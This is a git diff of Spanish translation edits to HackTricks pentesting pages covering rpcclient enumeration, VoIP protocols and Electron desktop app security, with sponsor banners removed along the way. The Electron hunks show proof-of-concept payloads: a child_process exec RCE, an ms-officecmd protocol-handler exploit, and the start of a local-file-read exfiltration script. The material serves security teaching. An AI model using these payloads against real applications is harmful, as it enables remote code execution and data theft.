||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## Comandos Automáticos de HackTricks
|
||||
## HackTricks Comandos Automáticos
|
||||
```
|
||||
Protocol_Name: POP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 110 #Comma separated if there is more than one.
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Overview of Relative Identifiers (RID) and Security Identifiers (SID)
|
||||
|
||||
**Los Identificadores Relativos (RID)** y **los Identificadores de Seguridad (SID)** son componentes clave en los sistemas operativos Windows para identificar y gestionar de manera única objetos, como usuarios y grupos, dentro de un dominio de red.
|
||||
|
@ -35,7 +27,7 @@ Por ejemplo, un usuario llamado `pepe` podría tener un identificador único que
|
|||
|
||||
### **Enumeration with rpcclient**
|
||||
|
||||
La utilidad **`rpcclient`** de Samba se utiliza para interactuar con **puntos finales RPC a través de tuberías con nombre**. A continuación, se presentan comandos que se pueden emitir a las interfaces SAMR, LSARPC y LSARPC-DS después de que se haya **establecido una sesión SMB**, a menudo necesitando credenciales.
|
||||
La utilidad **`rpcclient`** de Samba se utiliza para interactuar con **puntos finales RPC a través de tuberías con nombre**. A continuación, se presentan comandos que se pueden emitir a las interfaces SAMR, LSARPC y LSARPC-DS después de que se **establece una sesión SMB**, a menudo necesitando credenciales.
|
||||
|
||||
#### Server Information
|
||||
|
||||
|
@ -94,33 +86,27 @@ done
|
|||
| enumdomusers | Enumerar usuarios del dominio | |
|
||||
| enumdomgroups | Enumerar grupos del dominio | |
|
||||
| createdomuser | Crear un usuario de dominio | |
|
||||
| deletedomuser | Eliminar un usuario de dominio | |
|
||||
| deletedomuser | Eliminar un usuario de dominio | |
|
||||
| lookupnames | LSARPC | Buscar nombres de usuario a valores SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
|
||||
| lookupsids | Buscar SIDs a nombres de usuario (ciclado de RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
|
||||
| lookupsids | Buscar SIDs a nombres de usuario (ciclado RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
|
||||
| lsaaddacctrights | Agregar derechos a una cuenta de usuario | |
|
||||
| lsaremoveacctrights | Eliminar derechos de una cuenta de usuario | |
|
||||
| lsaremoveacctrights | Eliminar derechos de una cuenta de usuario | |
|
||||
| dsroledominfo | LSARPC-DS | Obtener información del dominio principal |
|
||||
| dsenumdomtrusts | Enumerar dominios de confianza dentro de un bosque AD | |
|
||||
|
||||
Para **entender** mejor cómo funcionan las herramientas _**samrdump**_ **y** _**rpcdump**_ deberías leer [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,32 +9,18 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes revisar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Protocolos de Señalización
|
||||
|
||||
### SIP (Protocolo de Inicio de Sesión)
|
||||
|
||||
Este es el estándar de la industria, para más información revisa:
|
||||
Este es el estándar de la industria, para más información consulta:
|
||||
|
||||
{% content-ref url="sip-session-initiation-protocol.md" %}
|
||||
[sip-session-initiation-protocol.md](sip-session-initiation-protocol.md)
|
||||
|
@ -42,13 +28,13 @@ Este es el estándar de la industria, para más información revisa:
|
|||
|
||||
### MGCP (Protocolo de Control de Puerta de Medios)
|
||||
|
||||
MGCP (Protocolo de Control de Puerta de Medios) es un **protocolo de señalización** y **control de llamadas** descrito en el RFC 3435. Opera en una arquitectura centralizada, que consiste en tres componentes principales:
|
||||
MGCP (Protocolo de Control de Puerta de Medios) es un **protocolo de señalización** y **control de llamadas** descrito en el RFC 3435. Opera en una arquitectura centralizada, que consta de tres componentes principales:
|
||||
|
||||
1. **Agente de Llamadas o Controlador de Puerta de Medios (MGC)**: La puerta maestra en la arquitectura MGCP es responsable de **gestionar y controlar las puertas de medios**. Maneja los procesos de configuración, modificación y terminación de llamadas. El MGC se comunica con las puertas de medios utilizando el protocolo MGCP.
|
||||
2. **Puertas de Medios (MGs) o Puertas Esclavas**: Estos dispositivos **convierten flujos de medios digitales entre diferentes redes**, como la telefonía tradicional conmutada por circuitos y redes IP conmutadas por paquetes. Son gestionados por el MGC y ejecutan comandos recibidos de él. Las puertas de medios pueden incluir funciones como transcodificación, empaquetado y cancelación de eco.
|
||||
2. **Puertas de Medios (MGs) o Puertas Esclavas**: Estos dispositivos **convierte flujos de medios digitales entre diferentes redes**, como la telefonía tradicional conmutada por circuitos y redes IP conmutadas por paquetes. Son gestionados por el MGC y ejecutan comandos recibidos de él. Las puertas de medios pueden incluir funciones como transcodificación, empaquetado y cancelación de eco.
|
||||
3. **Puertas de Señalización (SGs)**: Estas puertas son responsables de **convertir mensajes de señalización entre diferentes redes**, permitiendo una comunicación fluida entre sistemas de telefonía tradicionales (por ejemplo, SS7) y redes basadas en IP (por ejemplo, SIP o H.323). Las puertas de señalización son cruciales para la interoperabilidad y para asegurar que la información de control de llamadas se comunique adecuadamente entre las diferentes redes.
|
||||
|
||||
En resumen, MGCP centraliza la lógica de control de llamadas en el agente de llamadas, lo que simplifica la gestión de puertas de medios y de señalización, proporcionando mejor escalabilidad, fiabilidad y eficiencia en las redes de telecomunicaciones.
|
||||
En resumen, MGCP centraliza la lógica de control de llamadas en el agente de llamadas, lo que simplifica la gestión de las puertas de medios y de señalización, proporcionando mejor escalabilidad, fiabilidad y eficiencia en las redes de telecomunicaciones.
|
||||
|
||||
### SCCP (Protocolo de Control de Cliente Delgado)
|
||||
|
||||
|
@ -62,7 +48,7 @@ Los principales componentes de un sistema basado en SCCP son:
|
|||
2. **Puntos Finales SCCP**: Estos son dispositivos como teléfonos IP, unidades de videoconferencia u otros puntos finales de voz y video de Cisco que utilizan SCCP para comunicarse con el servidor de control de llamadas. Se registran con el servidor, envían y reciben mensajes de señalización, y siguen las instrucciones proporcionadas por el servidor de control de llamadas para el manejo de llamadas.
|
||||
3. **Puertas**: Estos dispositivos, como puertas de voz o puertas de medios, son responsables de convertir flujos de medios entre diferentes redes, como la telefonía tradicional conmutada por circuitos y redes IP conmutadas por paquetes. También pueden incluir funcionalidad adicional, como transcodificación o cancelación de eco.
|
||||
|
||||
SCCP ofrece un método de comunicación simple y eficiente entre los servidores de control de llamadas de Cisco y los dispositivos finales. Sin embargo, vale la pena señalar que **SCCP es un protocolo propietario**, lo que puede limitar la interoperabilidad con sistemas no Cisco. En tales casos, otros protocolos estándar de VoIP como SIP pueden ser más adecuados.
|
||||
SCCP ofrece un método de comunicación simple y eficiente entre los servidores de control de llamadas de Cisco y los dispositivos finales. Sin embargo, vale la pena señalar que **SCCP es un protocolo propietario**, lo que puede limitar la interoperabilidad con sistemas no Cisco. En tales casos, otros protocolos de VoIP estándar como SIP pueden ser más adecuados.
|
||||
|
||||
### H.323
|
||||
|
||||
|
@ -72,8 +58,8 @@ Algunos componentes clave del conjunto H.323 incluyen:
|
|||
|
||||
1. **Terminales**: Estos son dispositivos finales, como teléfonos IP, sistemas de videoconferencia o aplicaciones de software, que soportan H.323 y pueden participar en sesiones de comunicación multimedia.
|
||||
2. **Puertas**: Estos dispositivos convierten flujos de medios entre diferentes redes, como la telefonía tradicional conmutada por circuitos y redes IP conmutadas por paquetes, permitiendo la interoperabilidad entre H.323 y otros sistemas de comunicación. También pueden incluir funcionalidad adicional, como transcodificación o cancelación de eco.
|
||||
3. **Gatekeepers**: Estos son componentes opcionales que proporcionan servicios de control y gestión de llamadas en una red H.323. Realizan funciones como traducción de direcciones, gestión de ancho de banda y control de admisión, ayudando a gestionar y optimizar los recursos de la red.
|
||||
4. **Unidades de Control Multipunto (MCUs)**: Estos dispositivos facilitan conferencias multipunto gestionando y mezclando flujos de medios de múltiples puntos finales. Las MCUs permiten características como control de diseño de video, conmutación activada por voz y presencia continua, haciendo posible albergar conferencias a gran escala con múltiples participantes.
|
||||
3. **Controladores de Llamadas**: Estos son componentes opcionales que proporcionan servicios de control y gestión de llamadas en una red H.323. Realizan funciones como traducción de direcciones, gestión de ancho de banda y control de admisión, ayudando a gestionar y optimizar los recursos de la red.
|
||||
4. **Unidades de Control Multipunto (MCUs)**: Estos dispositivos facilitan conferencias multipunto gestionando y mezclando flujos de medios de múltiples terminales. Las MCUs permiten características como control de diseño de video, conmutación activada por voz y presencia continua, haciendo posible albergar conferencias a gran escala con múltiples participantes.
|
||||
|
||||
H.323 soporta una variedad de códecs de audio y video, así como otros servicios suplementarios como desvío de llamadas, transferencia de llamadas, retención de llamadas y espera de llamadas. A pesar de su amplia adopción en los primeros días de VoIP, H.323 ha sido gradualmente reemplazado por protocolos más modernos y flexibles como el **Protocolo de Inicio de Sesión (SIP)**, que ofrece mejor interoperabilidad y una implementación más sencilla. Sin embargo, H.323 sigue en uso en muchos sistemas heredados y continúa siendo soportado por varios proveedores de equipos.
|
||||
|
||||
|
@ -83,10 +69,10 @@ IAX (Inter-Asterisk eXchange) es un **protocolo de señalización y control de l
|
|||
|
||||
IAX es conocido por su **simplicidad, eficiencia y facilidad de implementación**. Algunas características clave de IAX incluyen:
|
||||
|
||||
1. **Puerto UDP Único**: IAX utiliza un único puerto UDP (4569) para tanto la señalización como el tráfico de medios, lo que simplifica el paso a través de firewalls y NAT, facilitando su implementación en diversos entornos de red.
|
||||
1. **Puerto UDP Único**: IAX utiliza un único puerto UDP (4569) tanto para señalización como para tráfico de medios, lo que simplifica el paso a través de firewalls y NAT, facilitando su implementación en diversos entornos de red.
|
||||
2. **Protocolo Binario**: A diferencia de los protocolos basados en texto como SIP, IAX es un protocolo binario, lo que reduce su consumo de ancho de banda y lo hace más eficiente para transmitir datos de señalización y medios.
|
||||
3. **Trunking**: IAX soporta trunking, lo que permite combinar múltiples llamadas en una única conexión de red, reduciendo la sobrecarga y mejorando la utilización del ancho de banda.
|
||||
4. **Cifrado Nativo**: IAX tiene soporte incorporado para cifrado, utilizando métodos como RSA para el intercambio de claves y AES para el cifrado de medios, proporcionando comunicación segura entre puntos finales.
|
||||
4. **Cifrado Nativo**: IAX tiene soporte incorporado para cifrado, utilizando métodos como RSA para el intercambio de claves y AES para el cifrado de medios, proporcionando comunicación segura entre los puntos finales.
|
||||
5. **Comunicación Peer-to-Peer**: IAX puede ser utilizado para comunicación directa entre puntos finales sin la necesidad de un servidor central, permitiendo un enrutamiento de llamadas más simple y eficiente.
|
||||
|
||||
A pesar de sus beneficios, IAX tiene algunas limitaciones, como su enfoque principal en el ecosistema Asterisk y una adopción menos generalizada en comparación con protocolos más establecidos como SIP. Como resultado, IAX podría no ser la mejor opción para la interoperabilidad con sistemas o dispositivos no Asterisk. Sin embargo, para aquellos que trabajan dentro del entorno Asterisk, IAX ofrece una solución robusta y eficiente para la comunicación VoIP.
|
||||
|
@ -95,7 +81,7 @@ A pesar de sus beneficios, IAX tiene algunas limitaciones, como su enfoque princ
|
|||
|
||||
### SDP (Protocolo de Descripción de Sesión)
|
||||
|
||||
SDP (Protocolo de Descripción de Sesión) es un **formato basado en texto** utilizado para describir las características de sesiones multimedia, como voz, video o conferencias de datos, sobre redes IP. Fue desarrollado por el **Grupo de Trabajo de Ingeniería de Internet (IETF)** y está definido en **RFC 4566**. SDP no maneja la transmisión real de medios o el establecimiento de sesiones, sino que se utiliza junto con otros protocolos de señalización, como **SIP (Protocolo de Inicio de Sesión)**, para negociar e intercambiar información sobre los flujos de medios y sus atributos.
|
||||
SDP (Protocolo de Descripción de Sesión) es un **formato basado en texto** utilizado para describir las características de sesiones multimedia, como voz, video o conferencias de datos, sobre redes IP. Fue desarrollado por la **Fuerza de Tarea de Ingeniería de Internet (IETF)** y está definido en **RFC 4566**. SDP no maneja la transmisión real de medios ni el establecimiento de sesiones, sino que se utiliza junto con otros protocolos de señalización, como **SIP (Protocolo de Inicio de Sesión)**, para negociar e intercambiar información sobre los flujos de medios y sus atributos.
|
||||
|
||||
Algunos elementos clave de SDP incluyen:
|
||||
|
||||
|
@ -109,27 +95,32 @@ SDP se utiliza típicamente en el siguiente proceso:
|
|||
1. Una parte iniciadora crea una descripción SDP de la sesión multimedia propuesta, incluyendo los detalles de los flujos de medios y sus atributos.
|
||||
2. La descripción SDP se envía a la parte receptora, generalmente incrustada dentro de un mensaje de protocolo de señalización como SIP o RTSP.
|
||||
3. La parte receptora procesa la descripción SDP, y según sus capacidades, puede aceptar, rechazar o modificar la sesión propuesta.
|
||||
4. La descripción SDP final se envía de vuelta a la parte iniciadora como parte del mensaje de protocolo de señalización, completando el proceso de negociación.
|
||||
4. La descripción SDP final se envía de vuelta a la parte iniciadora como parte del mensaje del protocolo de señalización, completando el proceso de negociación.
|
||||
|
||||
La simplicidad y flexibilidad de SDP lo convierten en un estándar ampliamente adoptado para describir sesiones multimedia en varios sistemas de comunicación, desempeñando un papel crucial en el establecimiento y gestión de sesiones multimedia en tiempo real sobre redes IP.
|
||||
|
||||
### RTP / RTCP / SRTP / ZRTP
|
||||
|
||||
1. **RTP (Protocolo de Transporte en Tiempo Real)**: RTP es un protocolo de red diseñado para la entrega de datos de audio y video, o de otros medios en tiempo real, sobre redes IP. Desarrollado por el **IETF** y definido en **RFC 3550**, RTP se utiliza comúnmente con protocolos de señalización como SIP y H.323 para habilitar la comunicación multimedia. RTP proporciona mecanismos para **sincronización**, **secuenciación** y **marcación de tiempo** de los flujos de medios, ayudando a asegurar una reproducción de medios fluida y oportuna.
|
||||
1. **RTP (Protocolo de Transporte en Tiempo Real)**: RTP es un protocolo de red diseñado para la entrega de datos de audio y video, o de otros medios en tiempo real, sobre redes IP. Desarrollado por la **IETF** y definido en **RFC 3550**, RTP se utiliza comúnmente con protocolos de señalización como SIP y H.323 para habilitar la comunicación multimedia. RTP proporciona mecanismos para **sincronización**, **secuenciación** y **marcación de tiempo** de los flujos de medios, ayudando a asegurar una reproducción de medios fluida y oportuna.
|
||||
2. **RTCP (Protocolo de Control de Transporte en Tiempo Real)**: RTCP es un protocolo complementario a RTP, utilizado para monitorear la calidad del servicio (QoS) y proporcionar retroalimentación sobre la transmisión de flujos de medios. Definido en el mismo **RFC 3550** que RTP, RTCP **intercambia periódicamente paquetes de control entre los participantes en una sesión RTP**. Comparte información como pérdida de paquetes, jitter y tiempo de ida y vuelta, lo que ayuda a diagnosticar y adaptarse a las condiciones de la red, mejorando la calidad general de los medios.
|
||||
3. **SRTP (Protocolo de Transporte en Tiempo Real Seguro)**: SRTP es una extensión de RTP que proporciona **cifrado**, **autenticación de mensajes** y **protección contra repetición** para flujos de medios, asegurando la transmisión segura de datos de audio y video sensibles. Definido en **RFC 3711**, SRTP utiliza algoritmos criptográficos como AES para cifrado y HMAC-SHA1 para autenticación de mensajes. SRTP se utiliza a menudo en combinación con protocolos de señalización seguros como SIP sobre TLS para proporcionar seguridad de extremo a extremo en la comunicación multimedia.
|
||||
4. **ZRTP (Protocolo de Transporte en Tiempo Real de Zimmermann)**: ZRTP es un protocolo de acuerdo de claves criptográficas que proporciona **cifrado de extremo a extremo** para flujos de medios RTP. Desarrollado por Phil Zimmermann, el creador de PGP, ZRTP está descrito en **RFC 6189**. A diferencia de SRTP, que depende de protocolos de señalización para el intercambio de claves, ZRTP está diseñado para funcionar independientemente del protocolo de señalización. Utiliza **intercambio de claves Diffie-Hellman** para establecer un secreto compartido entre las partes comunicantes, sin requerir confianza previa o una infraestructura de clave pública (PKI). ZRTP también incluye características como **Cadenas de Autenticación Cortas (SAS)** para proteger contra ataques de intermediarios.
|
||||
3. **SRTP (Protocolo de Transporte en Tiempo Real Seguro)**: SRTP es una extensión de RTP que proporciona **cifrado**, **autenticación de mensajes** y **protección contra repetición** para los flujos de medios, asegurando la transmisión segura de datos de audio y video sensibles. Definido en **RFC 3711**, SRTP utiliza algoritmos criptográficos como AES para el cifrado y HMAC-SHA1 para la autenticación de mensajes. SRTP se utiliza a menudo en combinación con protocolos de señalización seguros como SIP sobre TLS para proporcionar seguridad de extremo a extremo en la comunicación multimedia.
|
||||
4. **ZRTP (Protocolo de Transporte en Tiempo Real de Zimmermann)**: ZRTP es un protocolo de acuerdo de claves criptográficas que proporciona **cifrado de extremo a extremo** para los flujos de medios RTP. Desarrollado por Phil Zimmermann, el creador de PGP, ZRTP está descrito en **RFC 6189**. A diferencia de SRTP, que depende de protocolos de señalización para el intercambio de claves, ZRTP está diseñado para funcionar independientemente del protocolo de señalización. Utiliza **intercambio de claves Diffie-Hellman** para establecer un secreto compartido entre las partes comunicantes, sin requerir confianza previa o una infraestructura de clave pública (PKI). ZRTP también incluye características como **Cadenas de Autenticación Cortas (SAS)** para proteger contra ataques de intermediarios.
|
||||
|
||||
Estos protocolos desempeñan roles esenciales en **la entrega y seguridad de la comunicación multimedia en tiempo real sobre redes IP**. Mientras que RTP y RTCP manejan la transmisión real de medios y el monitoreo de calidad, SRTP y ZRTP aseguran que los medios transmitidos estén protegidos contra la escucha, manipulación y ataques de repetición.
|
||||
Estos protocolos desempeñan roles esenciales en **la entrega y seguridad de la comunicación multimedia en tiempo real sobre redes IP**. Mientras que RTP y RTCP manejan la transmisión real de medios y el monitoreo de calidad, SRTP y ZRTP aseguran que los medios transmitidos estén protegidos contra la interceptación, manipulación y ataques de repetición.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
<details>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
|
||||
Puedes revisar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,19 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Introducción
|
||||
|
||||
|
@ -59,15 +46,15 @@ let win = new BrowserWindow();
|
|||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`);
|
||||
```
|
||||
Los ajustes del **renderer process** se pueden **configurar** en el **main process** dentro del archivo main.js. Algunas de las configuraciones **prevenirán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si los **ajustes están correctamente configurados**.
|
||||
Los ajustes del **proceso de renderizado** se pueden **configurar** en el **proceso principal** dentro del archivo main.js. Algunas de las configuraciones **prevenirán que la aplicación Electron obtenga RCE** u otras vulnerabilidades si los **ajustes están correctamente configurados**.
|
||||
|
||||
La aplicación electron **podría acceder al dispositivo** a través de las APIs de Node, aunque se puede configurar para prevenirlo:
|
||||
|
||||
* **`nodeIntegration`** - está `desactivado` por defecto. Si está activado, permite acceder a las características de Node desde el renderer process.
|
||||
* **`contextIsolation`** - está `activado` por defecto. Si está desactivado, los procesos principal y renderer no están aislados.
|
||||
* **`nodeIntegration`** - está `desactivado` por defecto. Si está activado, permite acceder a las características de Node desde el proceso de renderizado.
|
||||
* **`contextIsolation`** - está `activado` por defecto. Si está desactivado, los procesos principal y de renderizado no están aislados.
|
||||
* **`preload`** - vacío por defecto.
|
||||
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está desactivado por defecto. Restringirá las acciones que NodeJS puede realizar.
|
||||
* Integración de Node en Workers
|
||||
* Integración de Node en Trabajadores
|
||||
* **`nodeIntegrationInSubframes`** - está `desactivado` por defecto.
|
||||
* Si **`nodeIntegration`** está **habilitado**, esto permitiría el uso de **APIs de Node.js** en páginas web que están **cargadas en iframes** dentro de una aplicación Electron.
|
||||
* Si **`nodeIntegration`** está **deshabilitado**, entonces los preloads se cargarán en el iframe.
|
||||
|
@ -138,7 +125,7 @@ top.require('child_process').exec('open /System/Applications/Calculator.app');
|
|||
|
||||
## RCE: preload
|
||||
|
||||
El script indicado en esta configuración se **carga antes que otros scripts en el renderer**, por lo que tiene **acceso ilimitado a las API de Node**:
|
||||
El script indicado en esta configuración se **carga antes que otros scripts en el renderizador**, por lo que tiene **acceso ilimitado a las API de Node**:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
|
@ -175,7 +162,7 @@ runCalc();
|
|||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
El _**contextIsolation**_ introduce **contextos separados entre los scripts de la página web y el código interno de JavaScript de Electron** para que la ejecución de JavaScript de cada código no afecte al otro. Esta es una característica necesaria para eliminar la posibilidad de RCE.
|
||||
El _**contextIsolation**_ introduce los **contextos separados entre los scripts de la página web y el código interno de JavaScript de Electron** para que la ejecución de JavaScript de cada código no afecte al otro. Esta es una característica necesaria para eliminar la posibilidad de RCE.
|
||||
|
||||
Si los contextos no están aislados, un atacante puede:
|
||||
|
||||
|
@ -223,7 +210,7 @@ Estos oyentes son **sobrescritos por la aplicación de escritorio** para impleme
|
|||
|
||||
![https://miro.medium.com/max/1400/1\*ZfgVwT3X1V\_UfjcKaAccag.png](<../../../.gitbook/assets/image (963).png>)
|
||||
|
||||
Las mejores prácticas de seguridad de Electron JS desaconsejan aceptar contenido no confiable con la función `openExternal`, ya que podría llevar a RCE a través de varios protocolos. Los sistemas operativos admiten diferentes protocolos que podrían desencadenar RCE. Para ejemplos detallados y una explicación adicional sobre este tema, se puede consultar [este recurso](https://positive.security/blog/url-open-rce#windows-10-19042), que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad.
|
||||
Las mejores prácticas de seguridad de Electron JS desaconsejan aceptar contenido no confiable con la función `openExternal`, ya que podría llevar a RCE a través de varios protocolos. Los sistemas operativos admiten diferentes protocolos que podrían desencadenar RCE. Para ejemplos detallados y más explicaciones sobre este tema, se puede consultar [este recurso](https://positive.security/blog/url-open-rce#windows-10-19042), que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad.
|
||||
|
||||
**Ejemplos de exploits de protocolos de Windows incluyen:**
|
||||
```html
|
||||
|
@ -245,7 +232,7 @@ window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResu
|
|||
|
||||
![](<../../../.gitbook/assets/1 u1jdRYuWAEVwJmf\_F2ttJg (1).png>)
|
||||
|
||||
Además, se comparte otro método para **leer un archivo interno**, destacando una vulnerabilidad crítica de lectura de archivos locales en una aplicación de escritorio Electron. Esto implica inyectar un script para explotar la aplicación y exfiltrar datos:
|
||||
Además, se comparte otro método para **leer un archivo interno**, destacando una crítica vulnerabilidad de lectura de archivos locales en una aplicación de escritorio Electron. Esto implica inyectar un script para explotar la aplicación y exfiltrar datos:
|
||||
```html
|
||||
<br><BR><BR><BR>
|
||||
<h1>pwn<br>
|
||||
|
@ -268,7 +255,7 @@ Primero que nada, necesitas saber qué sucede cuando intentas abrir una nueva UR
|
|||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
